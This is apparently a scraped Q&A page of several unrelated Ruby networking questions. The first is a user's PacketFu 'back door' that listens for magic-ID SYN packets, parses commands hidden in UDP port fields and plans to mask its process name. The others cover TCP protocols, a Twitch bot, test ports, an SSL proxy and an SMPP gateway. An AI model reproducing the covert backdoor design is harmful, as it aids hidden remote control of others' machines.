I'm writing a ruby back door program that uses PacketFu to listen for packets.
The application works properly, but for some reason it will not exit on interrupt (ctrl+c)
This is the section of code which seems immune to interrupts. It does not matter if I completely empty out the each loop, it will always stall ignore interrupts.
Any ideas?
Edit: I can make the interrupt catch properly when the packet.stream.each loop is executed (Forcing some TCP traffic). It seems that whatever PacketFu does while waiting for new packets is making it immune to interrupts. I guess I will ignore it for now, if anyone knows what PacketFu code might cause this, I'd love to know!
PS. I've Included the entire server code below in case anyone wants test for themselves.
Code Snippet: (See below for entire File)
begin
# Start listening for connection packets via TCP
print "starting up\n"
capturedTCP = PacketFu::Capture.new(:iface => $config[:iface], :start => true, :promisc => true, :filter => "tcp")
print "about to capture\n"
capturedTCP.stream.each { |packet|
puts "Got one!"
pkt = Packet.parse packet
# Check that it is a TCP packet?
if pkt.is_tcp?
# Is it one of our SYN packets?
if pkt.tcp_flags.syn == 1 && pkt.ip_id == $identKey
# TODO: Respond with SYN/ACK
flags = [1,0,0,0,1,0]
payload = ""
tcpResp = tcpConstruct($identKey,srcIP,80,dstIP,Random.rand(65535),flags, payload)
tcpResp.to_w # Sent
# TODO: Use thread instead.
dataListener($identKey,dstIP,dstPort)
end
end
}
rescue Interrupt => e
puts "Interrupted by user"
exit 0
end
Entire File:
require 'rubygems'
require 'packetfu'
require 'thread'
include PacketFu
#TODO: Move these functions to a diff file
# Utility function for loading latest config
def loadConfig(filePath)
#TODO: Load up file and get config
#For now just hard coded.
$iName = "eth0"
identKey = 12345
listenPortMain = "80" # Port to listen for connection requests
processName = "xyz" # Change process name to hide.
filterTCP = "tcp and port #{listenPortMain}"
userCmdField = "src-port" # Options: src-port, dst-port
userCmdRun = "20"
end
# Function for handling client session
def clientListen(ip,port)
# Start listening for connection packets via UDP
capturedUDP = PacketFu::Capture.new(:iface => config[:iface], :start => true, :promisc => true, :filter => "udp and port #{port} and src host #{ip}")
capturedUDP.stream.each { |packet|
pkt = Packet.parse packet
# Check that it is a UDP packet
if pkt.is_udp?
# Is it one of our UDP packets?
if pkt.ip_id == identKey
# Get the data
data = pkt.payload()
# Look for the command type
if userCmdField == "src-port"
cmdFieldVal = pkt.udp_src
end
if userCmdField == "dst-port"
cmdFieldVal = pkt.udp_dst
end
# Command processing
if userCmdField == userCmdRun
cmdDataChrs = [];
# Check for sequence number
seqCurrent = pkt.payload[0].unpack("H*")[0].to_i
seqTotal = pkt.payload[1].unpack("H*")[0].to_i
dataLen = (pkt.payload[2].unpack("H*").chr + pkt.payload[2].unpack("H*").chr).to_i
while pos <= dataLen do
cmdDataChrs.push(pkt.payload[pos])
pos = pos + 1
end
cmdData = cmdDataChrs.unpack("H*")
print "Got command: #{cmdData}"
end
end
end
}
end
#Construct TCP Packet
def tcpConstruct(identKey,srcIP,srcPort,dstIP,dstPort,flags, payload)
#--> Build TCP/IP
#- Build Ethernet header:---------------------------------------
pkt = PacketFu::TCPPacket.new(:config => $config , :flavor => "Linux")
# pkt.eth_src = "00:11:22:33:44:55" # Ether header: Source MAC ; you can use: pkt.eth_header.eth_src
# pkt.eth_dst = "FF:FF:FF:FF:FF:FF" # Ether header: Destination MAC ; you can use: pkt.eth_header.eth_dst
pkt.eth_proto # Ether header: Protocol ; you can use: pkt.eth_header.eth_proto
#- Build IP header:---------------------------------------
pkt.ip_v = 4 # IP header: IPv4 ; you can use: pkt.ip_header.ip_v
pkt.ip_hl = 5 # IP header: IP header length ; you can use: pkt.ip_header.ip_hl
pkt.ip_tos = 0 # IP header: Type of service ; you can use: pkt.ip_header.ip_tos
pkt.ip_len = 20 # IP header: Total Length ; you can use: pkt.ip_header.ip_len
pkt.ip_id = identKey # IP header: Identification ; you can use: pkt.ip_header.ip_id
pkt.ip_frag = 0 # IP header: Don't Fragment ; you can use: pkt.ip_header.ip_frag
pkt.ip_ttl = 115 # IP header: TTL(64) is the default ; you can use: pkt.ip_header.ip_ttl
pkt.ip_proto = 6 # IP header: Protocol = tcp (6) ; you can use: pkt.ip_header.ip_proto
pkt.ip_sum # IP header: Header Checksum ; you can use: pkt.ip_header.ip_sum
pkt.ip_saddr = srcIP # IP header: Source IP. use $config[:ip_saddr] if you want your real IP ; you can use: pkt.ip_header.ip_saddr
pkt.ip_daddr = dstIP # IP header: Destination IP ; you can use: pkt.ip_header.ip_daddr
#- TCP header:---------------------------------------
pkt.payload = payload # TCP header: packet header(body)
pkt.tcp_flags.ack = flags[0] # TCP header: Acknowledgment
pkt.tcp_flags.fin = flags[1] # TCP header: Finish
pkt.tcp_flags.psh = flags[2] # TCP header: Push
pkt.tcp_flags.rst = flags[3] # TCP header: Reset
pkt.tcp_flags.syn = flags[4] # TCP header: Synchronize sequence numbers
pkt.tcp_flags.urg = flags[5] # TCP header: Urgent pointer
pkt.tcp_ecn = 0 # TCP header: ECHO
pkt.tcp_win = 8192 # TCP header: Window
pkt.tcp_hlen = 5 # TCP header: header length
pkt.tcp_src = srcPort # TCP header: Source Port (random is the default )
pkt.tcp_dst = dstPort # TCP header: Destination Port (make it random/range for general scanning)
pkt.recalc # Recalculate/re-build whole pkt (should be at the end)
return pkt
end
def dataListener(identKey,dstIP,dstPort)
# Listen for UDP data packets
print "Listening for Data from #{dstIP}\n"
capturedUDP = PacketFu::Capture.new(:iface => $config[:iface], :start => true, :promisc => true, :filter => "udp and port #{dstPort}")
capturedTCP.stream.each { |packet|
pkt = Packet.parse packet
if pkt.ip_id == identKey
# Get Packet Type
if userCmdField == "src-port"
dataType = pkt.udp_src
elsif userCmdField == "dst-port"
dataType = pkt.udp_dst
end
if dataType == userCmdRun
cmdLen = pkt.payload[0].unpack("c*")
cmd = ""
while i <= cmdLen do
cmd += pkt.payload[i].unpack("h*")
end
print "Command: #{cmd}\n"
end
end
}
end
# - - - - Begin Main
# Get config from file
loadConfig("/path/to/file.txt")
#$config = PacketFu::Config.new(PacketFu::Utils.whoami?(:iface=> iName)).config # set interface
$config = PacketFu::Config.new(:iface=> $iName).config # use this line instead of above if you face `whoami?': uninitialized constant PacketFu::Capture (NameError)
#TODO: Mask process name from config
# Create sessions array (Holds threads)
sessions = []
Signal.trap('INT') { exit 0 }
begin
# Start listening for connection packets via TCP
print "starting up\n"
capturedTCP = PacketFu::Capture.new(:iface => $config[:iface], :start => true, :promisc => true, :filter => "tcp")
print "about to capture\n"
capturedTCP.stream.each { |packet|
puts "Got one!"
pkt = Packet.parse packet
# Check that it is a TCP packet?
if pkt.is_tcp?
# Is it one of our SYN packets?
if pkt.tcp_flags.syn == 1 && pkt.ip_id == $identKey
# TODO: Respond with SYN/ACK
flags = [1,0,0,0,1,0]
payload = ""
tcpResp = tcpConstruct($identKey,srcIP,80,dstIP,Random.rand(65535),flags, payload)
tcpResp.to_w # Sent
# TODO: Use thread instead.
dataListener($identKey,dstIP,dstPort)
end
end
}
end
If your program runs on some flavor of Unix, you could catch the INT signal(sent by Ctrl-C) and call exit explicitly.
Put this before or after your begin block:
Signal.trap('INT') { exit 0 }
Additionally you could do some cleanup before exiting your program:
Signal.trap('INT') do
# some cleanup here
puts "Interrupted by user"
exit 0
end
More on signals in Ruby
Unix signals list
Related
I'm new to ruby and I'm trying to make a client to connect to a TCPServer, and it seems that in order to do so I have to call the method close_write every time I finish sending data one way, to let the client/server know that the other end is finished sending data. Whenever I do that then Im not able to write info to the server or client again because the socket is not opened for writing anymore.
This is my code:
client.rb
require "socket"
socket = TCPSocket.open("localhost", 6666)
loop do
input = gets.chomp
socket.puts input # Send data to server
socket.close_write
while(line = socket.gets)
puts line
end # Print sever response
break if input=="EXIT"
end
socket.close
server.rb
require "socket"
server = TCPServer.new 6666
data = Hash.new { |hash, key| hash[key] = {} }
WAITING_SET_VALUE = "1"
WAITING_NEW_COMMAND = "0"
loop do
Thread.start(server.accept) do |session|
thread_status ||= WAITING_NEW_COMMAND
....
puts "Entering If..."
if(thread_status == WAITING_NEW_COMMAND) #Check thread status
puts "thread_status == WAITING_NEW_COMMAND"
puts "CHECKING COMMAND.."
case line.strip
when /^set \w* \w* \d{1,7} \d{1,7}$/
puts "COMMAND SET"
thread_status = WAITING_SET_VALUE
lineArr = line.strip.split(" ")
varName = lineArr[1]
flag = lineArr[2]
ttl = lineArr[3]
size = lineArr[4]
puts "END SET EXECUTION"
session.write "Executed"
session.close_write
...
Is there a way to open the socket for writing again, or a better way to do this back and forth connection between server and client without losing context? Thanks!
When designing a client-server protocol, you have to decide:
How a client knows when a response has more lines/data.
How a client knows when a response is complete.
How a client knows when a response is invalid/valid.
How a client knows when there was some type of server error.
A simple approach is for the server to return a response with the number of lines (as in the code below). However, instead, you could use END or something so that the client knows when there is no more data to read. I would strongly suggest looking into tutorials about Protocols.
Save the below into a file called client_server.rb. First, run the server with ruby ./client_server.rb s and then in a separate terminal run the client with ruby ./client_server.rb c. Next, type in list over and over to see the different responses. I added list so that you don't have to type in set w w 1 1 over and over for testing purposes. Check it out and let me know if you have any questions.
# frozen_string_literal: true
require 'socket'
# Use:
# First, run the server: ruby ./client_server.rb s
# Then, run the client: ruby ./client_server.rb c
# Use "netcat localhost 6666" on the command line to test
# without implementing a client.
# Returns false to close this client socket.
# Returns true to continue reading from this client socket.
def handle_client(client_id, client_socket, command)
# TODO: Define some type of client-server Protocol here.
case command
when /^set \w* \w* \d{1,7} \d{1,7}$/
puts "Running command for client #{client_id}: #{command}"
# This is just for testing purposes.
case rand(3)
when 0
client_socket.puts 'lines 0'
when 1
client_socket.puts 'lines 3'
client_socket.puts 'This is line 1.'
client_socket.puts 'This is line 2.'
client_socket.puts 'This is line 3.'
when 2
client_socket.puts 'The set command returned an error.'
end
when 'list'
puts "Responding to client #{client_id} with list of messages."
# This is just for testing purposes.
case rand(3)
when 0
client_socket.puts 'messages 0'
when 1
client_socket.puts 'messages 2'
client_socket.puts 'This is message 1.'
client_socket.puts 'This is message 2.'
when 2
client_socket.puts 'Unable to retrieve messages due to error.'
end
when 'bye'
puts "Killing client #{client_id}."
return false # Disconnect and kill the thread.
else
client_socket.puts "[ERROR] Invalid command: #{command}"
end
client_socket.flush # Flush all output just in case.
true # Continue connection.
end
case ARGV[0].to_s.downcase
when 's' # server
TCPServer.open(6666) do |server_socket|
global_client_id = 1
loop do
Thread.start(global_client_id, server_socket.accept) do |client_id, client_socket|
puts "Accepting new client #{client_id}."
loop do
command = client_socket.gets
if command.nil?
puts "Client #{client_id} disconnected manually."
break
end
command = command.strip
keep_alive = handle_client(client_id, client_socket, command)
break unless keep_alive
end
client_socket.close
end
global_client_id += 1
end
end
when 'c' # client
TCPSocket.open('localhost', 6666) do |socket|
puts '[Commands]'
puts 'set <word> <word> <num> <num> Run set command.'
puts 'list Get list of messages.'
puts 'exit, bye Exit the client.'
puts
loop do
print '> '
input = $stdin.gets.strip
# TODO: Define some type of client-server Protocol here.
case input
when /EXIT|BYE/i
socket.puts 'bye'
socket.flush
break
when /\Aset .+\z/
socket.puts input
socket.flush
response = socket.gets
if response.nil?
puts 'Server is not running anymore! Disconnecting.'
break
end
response = response.strip
match_data = response.match(/\Alines (?<lines>\d+)\z/)
if match_data
line_count = match_data[:lines].to_i
puts "Received #{line_count} lines from server."
1.upto(line_count) do |i|
line = socket.gets
puts ">> Resp[#{i}] #{line}"
end
else
# Can check for "response == 'ERROR'" or something.
puts "Server error or invalid response from server: #{response}"
end
when 'list'
socket.puts input
socket.flush
response = socket.gets
if response.nil?
puts 'Server is not running anymore! Disconnecting.'
break
end
response = response.strip
match_data = response.match(/\Amessages (?<messages>\d+)\z/)
if match_data
message_count = match_data[:messages].to_i
puts "Received #{message_count} messages from server."
1.upto(message_count) do |i|
line = socket.gets
puts ">> Resp[#{i}] #{line}"
end
else
# Can check for "response == 'ERROR'" or something.
puts "Server error or invalid response from server: #{response}"
end
else
puts "Invalid command: #{input}"
end
end
end
else
puts "Pass in 'c' for client or 's' for server."
end
I have a few commands from a Twitch chat, it works and it's awesome! People can type commands like !about and it's going to send a response. There's just one problem, if you go down to the thread and look under # // COMMANDS // COMMANDS // COMMANDS. There's a problem, thereĀ“s a few admin commands (look under # ADMIN COMMANDS // ADMIN COMMANDS). I have this: if msg.include?("!project") then msg.slice!("!project "), but it's not working like I want it to. I want to be able to type !project Then some substring here. But when a substring is attached it doesn't work, even though I can print msg and it clearly includes !project. Both the !disconnect and !project command work when it's only those commands by themselves. Meaning that something like !disconnect Hello World wouldn't work even though it clearly includes !disconnect.
# Message formatting in console
class String
def red; "\e[31m#{self}\e[0m" end
def yellow; "\e[33m#{self}\e[0m" end
def green; "\e[32m#{self}\e[0m" end
def cyan; "\e[36m#{self}\e[0m" end
def bold; "\e[1m#{self}\e[22m" end
end
# Requied packages / modules
require 'socket'
require 'logger'
require 'open-uri'
# Create logger
File.delete("log.txt") # Clear previous log
log = Logger.new("log.txt", formatter: proc {|severity, datetime, progname, msg|
"#{datetime}: #{msg}\n"})
# Required Info
load "credentials.txt"
log.info("Loading \"credentials.txt\"")
# -------- IGNORE -------- #
OAUTH.downcase!
BOTNAME.downcase!
CHANNEL.downcase!.gsub!("#", "")
# //- AGE -// #
time = Time.new
age = time.year - 2000
if time.month == 10
if time.day < 28
age -= 1
end
elsif time.month < 10
age -= 1
end
# -------- IGNORE -------- #
# Save "Preparing to connect" to "log.txt"
log.info("Preparing to connect")
# Variables
socket = TCPSocket.new('irc.chat.twitch.tv', 6667)
send = "PRIVMSG ##{CHANNEL} :" # shortcut for sending messages
running = true
content = nil
message_count = 0
message_limit = Time.now.to_i
# Commands
commands = ["!about","!uptime","!commands","!cortexio","!followed"]
api_commands = ["!followed","!uptime"]
admin_commands = ["!disconnect","!project"]
# Authorization Login
socket.puts("PASS #{OAUTH}") # Send the password(oauth) to Twitch
socket.puts("NICK #{BOTNAME}") # Send the botname to Twitch
socket.puts("JOIN ##{CHANNEL}") # Send the channel to Twitch
# Save "Connected!" to "log.txt
log.info("Joining #{CHANNEL.capitalize} as #{BOTNAME.capitalize} using OAUTH Token: #{OAUTH[6,OAUTH.length-12]}" + "*"*12)
# Thread.abort_on_exception = true
# Loop (Background Thread) for recieving Twitch chat data
Thread.start do
socket.puts(send + "Connected!") # Send "Connected!" to the Twitch channel
puts "#{BOTNAME} Joined ##{CHANNEL}" # Connection Status
puts "You should be fully connected now" # Connection Status
puts ""
puts "Type \"clear\" to clear terminal"
puts ""
while (running) do
ready = IO.select([socket])
ready[0].each do |s|
line = s.gets
# Respond to Twitch IRC "PING" Message
if line.index("PING") == 0
line.strip!
socket.puts("PONG :tmi.twitch.tv\r\n")
log.info("[IRC Message]: " + line)
log.info("[IRC Response]: PONG :tmi.twitch.tv")
puts("-".bold.red*line.length)
puts "[Twitch] ".bold.cyan + "IRC: ".bold.yellow + line.bold.green
puts "[Response] ".bold.cyan + "IRC: ".bold.yellow + "PONG :tmi.twitch.tv".bold.green
puts("-".bold.red*line.length)
end
match = line.match(/^:(.+)!(.+)PRIVMSG ##{CHANNEL} :(.+)$/)
message = match && match[3]
if message =~ /^/
message.strip!
user = match[1] # Get username
# Twitch message limit - (Max 100 messages in 30 secs - Applies to mods and above)
# Avoid global ban
if Time.now.to_i - message_limit > 30 # If more than 30 seconds has passed
message_count = 0 # Reset "message_count"
end
if message_count == 0 # If "message_count" is 0
message_limit = Time.now.to_i # Start counting to 30 again
end
message_count = message_count + 1
end
# // COMMANDS // COMMANDS // COMMANDS
if message != nil
msg = message.downcase
# ADMIN COMMANDS // ADMIN COMMANDS
if admin_commands.include?(msg) and user == CHANNEL
if msg.include?("!disconnect")
socket.puts(send + "Disconnecting") # Disconnect from the channel
socket.puts("PART ##{CHANNEL}") # Disconnect from the channel
Disconnect()
log.info("[Command] #{user}: #{message}")
elsif msg.include?("!project")
msg.slice!("!project ")
File.write("Responses/project.txt", msg)
end
user = user.capitalize # Capitalize first letter (Cuz I'm that kind of person)
elsif commands.include?(msg) and message_count < 80
puts "[Command] ".bold.cyan + "#{user}: ".bold + "#{message}".bold.cyan
# API COMMANDS // API COMMANDS
if api_commands.include?(msg)
if msg.include?("!uptime")
file = open("https://decapi.me/twitch/uptime?channel=#{CHANNEL}")
content = "#{CHANNEL} has been streaming for: " + file.read
elsif msg.include?("!followed")
file = open("https://decapi.me/twitch/followage/#{CHANNEL}/#{user}")
content = file.read
if content == "Follow not found"
content = "#{user} is not following #{CHANNEL}"
else
content = "#{user} has been following #{CHANNEL} for " + content
end
end
puts "[Response] ".bold.red + "Cortexio: ".bold + "API: ".bold.yellow + "\"#{content}\"".bold.red
else
file = open "Responses/" + msg.gsub!("!","") + ".txt" # open matching file
content = file.read
file.close
puts "[Response] ".bold.red + "Cortexio: ".bold + "File: ".bold.yellow + "\"#{msg}.txt\"".bold.red
end
file.close
log.info("[Command] #{user}: #{message}")
else
puts "[Message] ".bold.green + "#{user}: ".bold + "#{message}".bold.green
log.info("[Message] #{user}: #{message}")
if message[0] == "!" # Unrecognized command
content = "Unrecognized command: \"#{message}\" - Type !commands to see a list of available commands."
end
end
# Response handling
if content != nil
content.gsub!("USER", "##{user}")
content.gsub!("AGE", "#{age}")
content.gsub!("CHANNEL", "#{CHANNEL}")
if content.include?("COMMANDS")
content.gsub!("COMMANDS", "#{commands}")
content.gsub!("\"", "")
content.gsub!("[","")
content.gsub!("]","")
end
socket.puts(send + content) # Send response if any
content = nil # Too avoid multiple messages with the same response
end
end
end
end
end
def Disconnect() # End script
running = false
exit
end
# Loop to keep bot going
while (running) do
input = gets.chomp
if input == "clear"
system "clear" or system "cls"
end
end
The problem isn't with
if msg.include?("!project")
it's with the line before it:
admin_commands.include?(msg)
admin_commands is an array which contains the 2 strings ["!disconnect","!project"]. It does not, however, contain the string "!project Then some substring here", so you are never checking if msg.include?("!project"). You should be seeing your log messages about an unrecognized command, which means you aren't making it into your first if statement. What you'll want to be doing is something like:
if admin_commands.any? { |command| msg.include?(command) }
if msg.include?("!project")
# ...
I try to test a networking application. BUT I might have a knot in my brain.
As far as I know the tests in minitest run parallel. On this assumption I think it is clear that when I allocate a Port in setup() it fails when several tests are run:
RuntimeError: Address already in use - bind(2) for nil port 2000 TCPServer new failed
So what is the best practise to do several tests on a server which listens on a port?
class ServerTest < Minitest::Test
def setup
# -- set env variable
ENV["conf"] = "./tc_gpio.config"
Thread::abort_on_exception = true
#my_thr = Thread.start() do
#server = Server.new
#server.start
assert #server.hi() != nil
end
end
def teardown
Thread.kill(#my_thr) # sends exit() to thr
end
def test_connect_and_disconnect
sleep 1
hostname = 'localhost'
port = 2000
s = TCPSocket.open(hostname, port)
my_s = s.recvmsg()
s.sendmsg(:set.to_s, 0) # Failes since a serialized object is expected
my_s2 = s.recvmsg()
assert_equal( "READY" , my_s[0] )
assert_equal( "eeFIN" , my_s2[0])
end
def test_send_command
# fill command
com = Command.new
com.type = :set
com.device_name = 'pump0'
com.device_address = 'resource0'
com.value = 2
serial_com = YAML::dump(com)
sleep 1
hostname = 'localhost'
port = 2000
s = TCPSocket.open(hostname, port)
my_s = s.recvmsg()
s.sendmsg(serial_com, 0)
my_s2 = s.recvmsg()
assert_equal( "READY" , my_s[0] )
assert_equal( "FIN" , my_s2[0])
end
end
When testing a TCP server in parallel, each instance of the server should be started with a distinct port. That can be done by specifying port number 0 when creating a socket. When port number 0 is given, the socket will be bound to a random unused port:
interface = "0.0.0.0"
port = 0
tcp_server = TCPServer.new(interface, port)
You can find out which port the TCP server socket was bound to:
bound_port = #server_socket.addr[1]
One way to use these facts is to have a server something like this:
class Server
# Create a server instance. If the port is unspecified,
# or 0, then a random ephemeral port is bound to.
def initialize(interface: "127.0.0.1", port: 0)
#server_socket = TCPServer.new(interface, port)
...
end
# Return the port the server socket is bound to.
def bound_port
#server_socket.addr[1]
end
...
end
The test then creates server instances using port 0:
server = Server.new(port: 0)
When making a connection to the server, the test uses the #bound_port accessor to find out what port to connect to:
client = TCPSocket.open("localhost", server.bound_port)
and then carries on normally.
I want to proxy SSL data, HTTPS in this case.
Here is my Code:
begin
server = TCPServer.open(on_demand_port)
rescue Exception => e
sleep 5
retry
end
sslContext = OpenSSL::SSL::SSLContext.new
sslContext.verify_mode = OpenSSL::SSL::VERIFY_NONE
begin
sslContext.cert = OpenSSL::X509::Certificate.new(File.open("#{Dir.pwd}/Cert/cert.pem"))
sslContext.key = OpenSSL::PKey::RSA.new(File.open("#{Dir.pwd}/Cert/key.pem"), "1234")
rescue Exception => e
sleep 5
retry
end
begin
sslServer = OpenSSL::SSL::SSLServer.new(server, sslContext)
rescue Exception => e
sleep 5
retry
end
while true
begin
threads << Thread.new(sslServer.accept) do |client| # Putting new connections into the thread pool
tcp_proxy(client, db_name, db_user, db_password, remote_host, remote_port, patterns)
end
rescue Exception => e
end
threads = threads.select { |t| t.alive? ? true : (t.join; false) }
while threads.size >= on_demand_max_threads
sleep 1
threads = threads.select { |t| t.alive? ? true : (t.join; false) }
end
end
And this is the "tcp_proxy" which is the actual SSL Proxy
begin
begin
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE
cert_store = OpenSSL::X509::Store.new
cert_store.set_default_paths
ssl_context.cert_store = cert_store
tcp_socket = TCPSocket.new(remote_host, remote_port)
server_socket = OpenSSL::SSL::SSLSocket.new tcp_socket, ssl_context
server_socket.sync_close = true
server_socket.connect
rescue Exception => e
client.close
end
while true
# Wait for data to be available on either socket.
(ready_sockets, dummy, dummy) = IO.select([client, server_socket])
begin
ready_sockets.each do |socket|
data = socket.readpartial(4096)
if socket == client
# Read from client, write to server.
server_socket.write data
server_socket.flush
else
# Read from server, write to client.
client.write data
client.flush
end
end
rescue Exception => e
end
end
rescue StandardError => e
end
begin
client.close
server_socket.close
rescue Exception => e
end
Now, this is working great in normal TCP and HTTP, but, when I use it in SSL\HTTPS when upgrading the socket it starts getting really really slow and sometimes will just timeout.
Any idea why ?
You have to be careful with read and select, because read is done at the SSL level while select is at the TCP level.
SSL puts the data into frames, where each frame can contain at most 16384 bytes. It needs to read the full frame from the underlying TCP socket before the read on the SSL socket can return any data from the frame. This means if you have a frame with 4097 bytes payload it will need to read the full frame from the TCP socket before you can read anything from the SSL socket. If you then only read 4096 bytes from the SSL socket it will return the first 4096 bytes and leave the rest (1 byte) in the SSL buffer. If you then check with select for new data at the TCP level it might block, because there are no unread data at the TCP level, even if there is still the single byte inside the SSL buffer.
There are two ways to work around this problem:
Check with pending if there are still data in the SSL buffer. If there are, read them instead of doing the select.
Or try to read at least 16384 bytes with each read, that is the maximum size of a SSL frame. I'm not sure about the implementation in ruby, but in Perl this read will just call the underlying SSL_read and this only reads the data from a single frame. Thus with a read size of 16384 bytes there can be no pending data and you can just call select like you do now.
I am using ruby-smpp and redis to achive a queue based background worker to send SMPP messages.
And i am wondering if I am using eventmachine in the right way. It works but it doesnt feel right.
#!/usr/bin/env ruby
# Sample SMS gateway that can receive MOs (mobile originated messages) and
# DRs (delivery reports), and send MTs (mobile terminated messages).
# MTs are, in the name of simplicity, entered on the command line in the format
# <sender> <receiver> <message body>
# MOs and DRs will be dumped to standard out.
require 'smpp'
require 'redis/connection/hiredis'
require 'redis'
require 'yajl'
require 'time'
LOGFILE = File.dirname(__FILE__) + "/sms_gateway.log"
PIDFILE = File.dirname(__FILE__) + '/worker_test.pid'
Smpp::Base.logger = Logger.new(LOGFILE)
#Smpp::Base.logger.level = Logger::WARN
REDIS = Redis.new
class MbloxGateway
# MT id counter.
##mt_id = 0
# expose SMPP transceiver's send_mt method
def self.send_mt(sender, receiver, body)
if sender =~ /[a-z]+/i
source_addr_ton = 5
else
source_addr_ton = 2
end
##mt_id += 1
##tx.send_mt(('smpp' + ##mt_id.to_s), sender, receiver, body, {
:source_addr_ton => source_addr_ton
# :service_type => 1,
# :source_addr_ton => 5,
# :source_addr_npi => 0 ,
# :dest_addr_ton => 2,
# :dest_addr_npi => 1,
# :esm_class => 3 ,
# :protocol_id => 0,
# :priority_flag => 0,
# :schedule_delivery_time => nil,
# :validity_period => nil,
# :registered_delivery=> 1,
# :replace_if_present_flag => 0,
# :data_coding => 0,
# :sm_default_msg_id => 0
#
})
end
def logger
Smpp::Base.logger
end
def start(config)
# Write this workers pid to a file
File.open(PIDFILE, 'w') { |f| f << Process.pid }
# The transceiver sends MT messages to the SMSC. It needs a storage with Hash-like
# semantics to map SMSC message IDs to your own message IDs.
pdr_storage = {}
# Run EventMachine in loop so we can reconnect when the SMSC drops our connection.
loop do
EventMachine::run do
##tx = EventMachine::connect(
config[:host],
config[:port],
Smpp::Transceiver,
config,
self # delegate that will receive callbacks on MOs and DRs and other events
)
# Let the connection start before we check for messages
EM.add_timer(3) do
# Maybe there is some better way to do this. IDK, But it works!
EM.defer do
loop do
# Pop a message
message = REDIS.lpop 'messages:send:queue'
if message # If there is a message. Process it and check the queue again
message = Yajl::Parser.parse(message, :check_utf8 => false) # Parse the message from Json to Ruby hash
if !message['send_after'] or (message['send_after'] and Time.parse(message['send_after']) < Time.now)
self.class.send_mt(message['sender'], message['receiver'], message['body']) # Send the message
REDIS.publish 'log:messages', "#{message['sender']} -> #{message['receiver']}: #{message['body']}" # Push the message to the redis queue so we can listen to the channel
else
REDIS.lpush 'messages:queue', Yajl::Encoder.encode(message)
end
else # If there is no message. Sleep for a second
sleep 1
end
end
end
end
end
sleep 2
end
end
# ruby-smpp delegate methods
def mo_received(transceiver, pdu)
logger.info "Delegate: mo_received: from #{pdu.source_addr} to #{pdu.destination_addr}: #{pdu.short_message}"
end
def delivery_report_received(transceiver, pdu)
logger.info "Delegate: delivery_report_received: ref #{pdu.msg_reference} stat #{pdu.stat}"
end
def message_accepted(transceiver, mt_message_id, pdu)
logger.info "Delegate: message_accepted: id #{mt_message_id} smsc ref id: #{pdu.message_id}"
end
def message_rejected(transceiver, mt_message_id, pdu)
logger.info "Delegate: message_rejected: id #{mt_message_id} smsc ref id: #{pdu.message_id}"
end
def bound(transceiver)
logger.info "Delegate: transceiver bound"
end
def unbound(transceiver)
logger.info "Delegate: transceiver unbound"
EventMachine::stop_event_loop
end
end
# Start the Gateway
begin
puts "Starting SMS Gateway. Please check the log at #{LOGFILE}"
# SMPP properties. These parameters work well with the Logica SMPP simulator.
# Consult the SMPP spec or your mobile operator for the correct settings of
# the other properties.
config = {
:host => 'server.com',
:port => 3217,
:system_id => 'user',
:password => 'password',
:system_type => 'type', # default given according to SMPP 3.4 Spec
:interface_version => 52,
:source_ton => 0,
:source_npi => 1,
:destination_ton => 1,
:destination_npi => 1,
:source_address_range => '',
:destination_address_range => '',
:enquire_link_delay_secs => 10
}
gw = MbloxGateway.new
gw.start(config)
rescue Exception => ex
puts "Exception in SMS Gateway: #{ex} at #{ex.backtrace.join("\n")}"
end
Some easy steps to make this code more EventMachine-ish:
Get rid of the blocking Redis driver, use em-hiredis
Stop using defer. Pushing work out to threads with the Redis driver will make things even worse as it relies on locks around the socket it's using.
Get rid of the add_timer(3)
Get rid of the inner loop, replace it by rescheduling a block for the next event loop using EM.next_tick. The outer one is somewhat unnecessary. You shouldn't loop around EM.run as well, it's cleaner to properly handle a disconnect by doing a reconnect in your unbound method instead of stopping and restarting the event loop, by calling the ##tx.reconnect.
Don't sleep, just wait. EventMachine will tell you when new things come in on a network socket.
Here's how the core code around EventMachine would look like with some of the improvements:
def start(config)
File.open(PIDFILE, 'w') { |f| f << Process.pid }
pdr_storage = {}
EventMachine::run do
##tx = EventMachine::connect(
config[:host],
config[:port],
Smpp::Transceiver,
config,
self
)
REDIS = EM::Hiredis.connect
pop_message = lambda do
REDIS.lpop 'messages:send:queue' do |message|
if message # If there is a message. Process it and check the queue again
message = Yajl::Parser.parse(message, :check_utf8 => false) # Parse the message from Json to Ruby hash
if !message['send_after'] or (message['send_after'] and Time.parse(message['send_after']) < Time.now)
self.class.send_mt(message['sender'], message['receiver'], message['body'])
REDIS.publish 'log:messages', "#{message['sender']} -> #{message['receiver']}: #{message['body']}"
else
REDIS.lpush 'messages:queue', Yajl::Encoder.encode(message)
end
end
EM.next_tick &pop_message
end
end
end
end
Not perfect and could use some cleaning up too, but this is more what it should be like in an EventMachine manner. No sleeps, avoid using defer if possible, and don't use network drivers that potentially block, implement traditional loop by rescheduling things on the next reactor loop. In terms of Redis, the difference is not that big, but it's more EventMachine-y this way imho.
Hope this helps. Happy to explain further if you still have questions.
You're doing blocking Redis calls in EM's reactor loop. It works, but isn't the way to go. You could take a look at em-hiredis to properly integrate Redis calls with EM.